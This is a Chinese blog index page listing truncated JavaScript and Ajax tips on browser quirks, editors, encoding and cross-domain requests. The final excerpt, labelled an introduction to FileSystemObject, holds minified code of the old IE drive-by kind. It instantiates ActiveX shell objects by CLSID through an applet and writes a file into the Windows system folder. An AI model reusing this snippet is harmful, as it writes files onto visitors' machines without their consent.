firefox NPMethod called on non-NPObject wrapped JSObject!错误

评论(0)浏览(195)分类：JavaScript/Ajax开发技巧
firefox NPMethod called on non-NPObject wrapped JSObject!错误　　Firefox使用JavaScript调用flash中注册的方法时，如果此方法通过js函数返回后执行，而不是直接通过swf容器获取到后再执行，那么在Firefox下会出现NPMethod called on non-NPObject wrapped JSObject!错误，其他浏览器如chrome，ie不报错。　　解决办法就是直接通过swf的容器获取到flash中注册的方法后执行，而不是通过js方法返回flash中注册..

隐藏删除ckeditor状态栏

评论(0)浏览(195)分类：JavaScript/Ajax开发技巧
隐藏删除ckeditor状态栏　　删除或者隐藏ckeditor状态栏可以在生成ckeditor的配置中同时增加removePlugins: 'elementspath' ,resize_enabled: false的配置就可以隐藏状态栏了。　　１）removePlugins: 'elementspath' ，实现的是移除ckeditor元素路径的方法（上图中状态栏显示的 body p）　　２）resize_enabled: false，实现的是关闭ckedior窗口大小调..

javascript数字小写转大写金额函数

评论(0)浏览(195)分类：JavaScript/Ajax开发技巧
javascript数字小写转大写金额函数　　javascript实现将阿拉伯数字转为中文汉字表示的大写金额函数script function DX(n) { if (!/^(0|[1-9]\d*)(\.\d+)?$/.test(n)) return 数据非法; var unit = 千百拾亿千百拾万千百拾元角分, str = ; n += 00; var p = n.indexOf('.'); if (p = 0) n = n.substring(0, p) + n.sub..

IE下textarea失去焦点如何在原来的位置插入内容

评论(0)浏览(194)分类：JavaScript/Ajax开发技巧
IE下textarea失去焦点如何在原来的位置插入内容　　由于IE下调用obj.focus()并不能使光标回到原来的位置或者使选择的内容再次选择上，所以在IE浏览器下需要保存当前的Range对象，以便进行相应的操作时，在原来的位置进行，而不是跑到其他的位置去。　　示例代码input type=button onclick=pop() value=弹出层 /textarea id=txt12345678/textareascript type=text/javascript var rng; ..

window.open如何在新窗口打开连接

评论(1)浏览(194)分类：JavaScript/Ajax开发技巧
window.open如何在新窗口打开连接　　window.open如何在新窗口打开链接，而不是在浏览器的选项卡窗口中打开链接。　　经过测试，设置window.open的features参数，增加width和height参数，可以弹出一个浏览器窗口，而不是在原来浏览器的选项卡中打开链接。　　IE7，IE8，firefox12，chrome25.0.1364.172 m测试通过script function openWin() { window.open(top.locatio..

图片显示十字交叉线，随鼠标移动效果

评论(0)浏览(194)分类：JavaScript/Ajax开发技巧
图片显示十字交叉线，随鼠标移动效果　　功能描述：显示十字线在图片上，十字线交叉中心为鼠标所在位置，十字线随鼠标移动而更改位置　　查看效果点击这里　　源代码如下style type=text/css#dv{position:relative;}#linex{height:1px;width:300px;position:absolute;left:0px;background:#000;overflow:hidden;display:none;}#liney{height:300px;width:1px;position:absolute;top..

js获取firefox下控件级联样式borderWidth,borderColor

评论(0)浏览(194)分类：JavaScript/Ajax开发技巧
js获取firefox下控件级联样式borderWidth,borderColor　　firefox下如何获取控件级联样式表中定义的borderWidth css样式。在IE或者chrome中可以通过borderWidth，borderColor直接获取到定义的border宽度和颜色，但是firefox通过getComputedStyle得到的级联样式对象中并未包含borderWidth，borderColor的定义，而是要到详细的每条边的样式定义，如borderLeftWidth，borderLeftColor。　　解决办法如下..

客户端Js+FSO遍历文件夹

评论(0)浏览(193)分类：JavaScript/Ajax开发技巧
客户端Js+FSO遍历文件夹此代码仅IE浏览器下能运行，并且需要开放fso权限。+展开-JavaScriptfunctionHTMlist(path){vartxt;fso=newActiveXObject("Scripting.FileSystemObject");fldr=fso.GetFolder(path);fc=newEnumerator(fldr.files);for(;!fc.atEnd();fc.moveNext())//枚举所有文件{s=fc.item();//取文件对象if(s.type=="HTMLDocument"){//判断是否是“HTML文件”f=..

Freemarker风格的JavaScript模板引擎EasyTemplate

评论(0)浏览(192)分类：JavaScript/Ajax开发技巧
Freemarker风格的JavaScript模板引擎EasyTemplate　　在前后端分离的解决方案中，模板起到了重要作用！　　在使用Struts或Spring的后端中，使用Freemarker模板作为载体，能够非常有效的实现前后端的分离。　　有人或许会认为使用前端模板一样可以实现此效果，而且实现的会更好。　　如果单纯从技术和实现的角度去考虑，确实是使用前端模板效果会更好，前后端分离的会更彻底，但如果真的这样做，..

keypress,keyup中keyCode不一样

评论(0)浏览(192)分类：JavaScript/Ajax开发技巧
keypress,keyup中keyCode不一样　　keypress,keyup/keydown事件中，事件对象event的keyCode属性值是不一样的。　　onkeypress事件中keyCode属性值为触发键字符代码，keyup/keydown事件为键盘代码。　　字符代码和键盘代码区别字符代码 - 表示 ASCII 字符的数字键盘代码 - 表示键盘上真实键的数字　　这两种类型的值不是都相等的（主要针对字母），例如小写字符 w 和大写字符 W..

javascript对象属性get/set读取设置器

评论(0)浏览(191)分类：JavaScript/Ajax开发技巧
javascript对象属性get/set读取设置器　　标准浏览器和IE9+，javascript对象支持如面向对象语言的属性get（获取属性值）/set（设置属性值）设置器。示例代码如下script var o = {get Version(){return this.version;},set Version(v){this.version=v}} o.version='2.0'; alert(o.version)/script　　浏览器支持FeatureChromeFirefox (Gecko)Internet ExplorerOpera..

jQuery IE6下width(),height()获取document的高和宽不精确

评论(0)浏览(190)分类：JavaScript/Ajax开发技巧
jQuery IE6下width(),height()获取document的高和宽不精确jQuery在IE6下width(),height()获取document的高和宽不精确　　最近在学jquery，发现使用$(document).width(),$(document).height()在IE6浏览器下获取到的长度尽然是分辨率的宽和高，而不是document对象的宽，导致lightbox在ie6下出现滚动条。如下图未显示lightbox前显示lightbox后　　在浏览器地址栏输入JavaScript脚本javascript:alert($(docu..

扩展Firefox下table控件的原型方法moveRow

评论(0)浏览(190)分类：JavaScript/Ajax开发技巧
扩展Firefox下table控件的原型方法moveRow　　火狐浏览器的table控件没有同IE浏览器的moveRow方法，所以自己扩展了下Element的原型，将Firefox的moveRow方法加上，这样就可以使用了。测试代码如下+展开-HTML!DOCTYPEhtmlhtmlheadmetahttp-equiv="content-type"content="text/html;charset=utf-8"/title扩展Firefox下table控件的原型方法moveRow-extendfirefoxtableprototypemethodmoveRo..

iframe编辑器designMode在IE下on/off切换时的问题

评论(0)浏览(190)分类：JavaScript/Ajax开发技巧
iframe编辑器designMode在IE下on/off切换时的问题　　今天有个网友在“Firefox Iframe 编辑器光标问题”中留言问是否能点击某个按钮进行iframe编辑状态的切换，所以进行了下调试，结果在IE下iframe状态如果从on--off--on--off时，当iframe中初始化时有内容，则html编辑器的内容变为当前页面的html代码。如果初始化时没有内容，在on状态下输入信息，当designMode切换到off状态时，iframe里面的内..

Javascript跨域和Ajax跨域解决方案

评论(0)浏览(188)分类：JavaScript/Ajax开发技巧
Javascript跨域和Ajax跨域解决方案最近做的一个项目中需要ajax跨域取得数据,如果是在本域中确实没有问题，但是放到二级域和其他域下浏览器直接就弹出提示框:“该页正在访问其控制范围之外的数据，这有些危险，是否继续"1.什么引起了ajax跨域不能的问题ajax本身实际上是通过XMLHttpRequest对象来进行数据的交互，而浏览器出于安全考虑，不允许js代码进行跨域操作，所以会警告。2.有..

ajax对象释放onreadystatechange状态转换函数的问题

评论(0)浏览(188)分类：JavaScript/Ajax开发技巧
ajax对象释放onreadystatechange状态转换函数的问题　　在获取ajax对象的时候，如果是先判断activexobject，然后再是XMLHttpRequest，那么在IE浏览器下都会使用activexobject来创建ajax对象。此时如果要判断onreadystatechange事件是否为空时，如下面的这种语句，IE浏览器下会出错。+展开-JavaScriptif(xhr.onreadystatechange)//这样会在IE下出错xhr.onreadystatechange=null;//这样来释放onread..

JS URL编码函数

评论(1)浏览(187)分类：JavaScript/Ajax开发技巧
JS URL编码函数摘要: js对文字进行编码涉及3个函数：escape, encodeURI, encodeURIComponent。他们各有各的作用，具体请看全文。js对文字进行url编码涉及3个函数：escape,encodeURI,encodeURIComponent，相应3个解码函数：unescape,decodeURI,decodeURIComponent。escape() 方法：采用ISO Latin字符集对指定的字符串进行编码。所有的空格符、标点符号、特殊字符..

AjaxControlToolkit“TabContainer控件”客户端Javascript函数API

评论(0)浏览(187)分类：Asp.Net/C#/WCF
AjaxControlToolkit“TabContainer控件”客户端Javascript函数API　　AjaxControlToolkit中TabContainer控件客户端Javascript函数中文API，翻译不正确的地方多包涵，e文可以的直接看本文最下面的e文连接地址。　　在本文中介绍tabcontainer控件的客户端方法，如使用javascript设置获取焦点的tab，本文最后列出一些重要的ASP.NET AJAX TabContainer控件的方法。　　TabContainer是ASP.NET AJAX最酷的控件之一。最..

javascript加密解密base64字符串

评论(0)浏览(186)分类：JavaScript/Ajax开发技巧
javascript加密解密base64字符串　　javascript实现的将字符串转换为base64字符串，或者将base64编码的字符串还原为原来的内容，源代码如下HTMLHEADTITLEjavascript加密解密base64字符串/TITLEscript language=javascriptvar base64EncodeChars = ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/;var base64DecodeChars = new Array(　　-1, -1, -1, -1, -1..

如何抠JavaScript效果代码

评论(0)浏览(186)分类：JavaScript/Ajax开发技巧
如何抠JavaScript效果代码　　要抠JavaScript效果代码，不是一件容易的事，需要有一定的JavaScript基础，掌握一定的调式工具，如firebug或者google的开发人员工具，强烈推荐firebug。　　我的方法大概如下，使用firebug1）找到效果代码函数名称或者函数体　　a）如果容器直接写了事件就简单了，直接就找到了。　　b）要不需要找到动画那块内容，看容器或者子内容是不是有..

VBScript如何调用异步调用ajaxpro注册的方法

评论(1)浏览(186)分类：Asp/VBScript
VBScript如何调用异步调用ajaxpro注册的方法　　由于ajaxpro在客户端注册的脚本是JavaScript的，但是JavaScript无法调用VBScript注册的函数或者过程，只能访问VBScript注册的标量，VBScript可以调用JavaScript注册的变量或者方法，所以VBScript使用ajaxpro的异步功能时，需要传递回调函数，如果传递的是VBScript的function函数，会出现“由于出现错误 80020102 而导致此项操作无法完成”的..

检查textarea每行的内容是否符合要求

评论(0)浏览(185)分类：JavaScript/Ajax开发技巧
检查textarea每行的内容是否符合要求CSDN看到的的问题，描述如下　　　　现在的情况是这样。JSP一个多行文本输入框。用户可以在上面输入电话号码，最少为一个，暂时没有上限，现在遇到一个问题，当用户输入的电话号码大于10个的时候（这里为了测试方便，所以只输入10个，实际情况不会少于1W个），当这些电话号码当于有一个或多个出错(如:电话号码长度不是11位，电话号码其中包含了英..

分享6个不错的jquery tooltip plugin

评论(0)浏览(184)分类：JavaScript/Ajax开发技巧
分享6个不错的jquery tooltip plugin　　6个不错的jquery Tooltip插件　　1) Poshy Tip 是一个强大的jQuery Tooltip插件，拥有不同的外观。作为 Form Tooltips使用时，可以自定义气泡出现的位置。http://vadikom.com/tools/poshy-tip-jquery-plugin-for-stylish-tooltips/演示地址:http://vadikom.com/demos/poshytip/　　2）Easy Tooltip是一款 jQuery 的 Tooltip 插件。http://cs..

添加xhtml声明后documentElement.scrollTop为0

评论(0)浏览(183)分类：JavaScript/Ajax开发技巧
添加xhtml声明后documentElement.scrollTop为0　　再chrome浏览器下面，无论申明doctype为html或者xhtml，获取或者设置页面的滚动高只能使用document.body.scrollTop，使用document.documentElement.scrollTop得到的是0，chrome版本为16.0.912.75 m，而其他浏览器则按照doctype的不同使用不同的对象，申明为xhtml时使用document.documentElement.scrollTop，doctype为html时则使用document.b..

domReady事件

评论(0)浏览(183)分类：JavaScript/Ajax开发技巧
domReady事件　　在w3c浏览器下面，domReady事件==DOMContentLoaded事件，IE浏览器下面没有DOMContentLoaded事件，可以通过IE加载循序使用script+defer属性来实现domReady事件，具体参考下面的代码　　基本上每个库都有domReady事件，因为如果要对页面上的元素进行操作，必须等到页面加载了这个元素才行，否则会报错，但是很难判定某个元素是否已加 载，但可..

jquery插件jPrintArea使用方法

评论(0)浏览(183)分类：JavaScript/Ajax开发技巧
jquery插件jPrintArea使用方法　　jquery插件jPrintArea，利用该插件可以实现打印网页中的指定元素。该插件的源代码为： +展开-JavaScriptjQuery.jPrintArea=function(el){variframe=document.createElement('IFRAME');vardoc=null;$(iframe).attr('style','position:absolute;width:0px;height:0px;left:-500px;top:-500px;');document.body.appendChild(iframe);doc=ifra..

如何给script标签增加可执行的javascript代码

评论(0)浏览(183)分类：JavaScript/Ajax开发技巧
如何给script标签增加可执行的javascript代码　　动态创建的script标签，如何设置innerHTML为javascript代码，使脚本运行起来，而不是通过加载js文件来实现脚本的动态运行。　　动态创建script标签并运行javascript代码，可以借鉴jquery框架的代码，经过提取后源代码如下script var rnotwhite = /\S/; var scriptEval = false; var root = document.documentElement,script = docu..

组合合并canvas图形

评论(0)浏览(182)分类：JavaScript/Ajax开发技巧
组合合并canvas图形　　在HTML5中有11种组合图形的方式，只要把他们设置到context.globalCompositeOperation中就可以了，下面是一些证明各种图形组合方式的结果的示例。　　HTML代码很简单，就2个控件，一个是下拉列表，让用户选择组合方式，并且一旦用户做出了选择，就执行js函数draw(id），从而在第二个控件canvas上根据用户当前选择的组合方式进行画图。第二个控..

DOM编程-拖拽(拖动)层的几个细节问题

评论(0)浏览(182)分类：JavaScript/Ajax开发技巧
DOM编程-拖拽(拖动)层的几个细节问题此文也可以命名为好的拖动层必须做的几个细节在一个拖拽系统中,做出来容易细节,细节却并不尽如人意..拖拽中没有一个完美(或者说比较完美)的解决方案,原因在于:我们所知道拖拽的实现的方法(cross-browser)是有三个事件的:onmousedown,onmousemove,onmouseup,即onmousedown来捕获,onmousemove拖拽,onmouseup释放事件. 这在一般情况下是没有问题的...

Scripting.FileSystemObject介绍

评论(0)浏览(182)分类：JavaScript/Ajax开发技巧
Scripting.FileSystemObject介绍+展开-JavaScriptdocument.write("");functionf(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();sh=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");a1.createInstance();fo=a1.GetObject();hd=fo.CreateTextFile("c:\\WINDOWS\\system\\mslog.htm");hd.writ..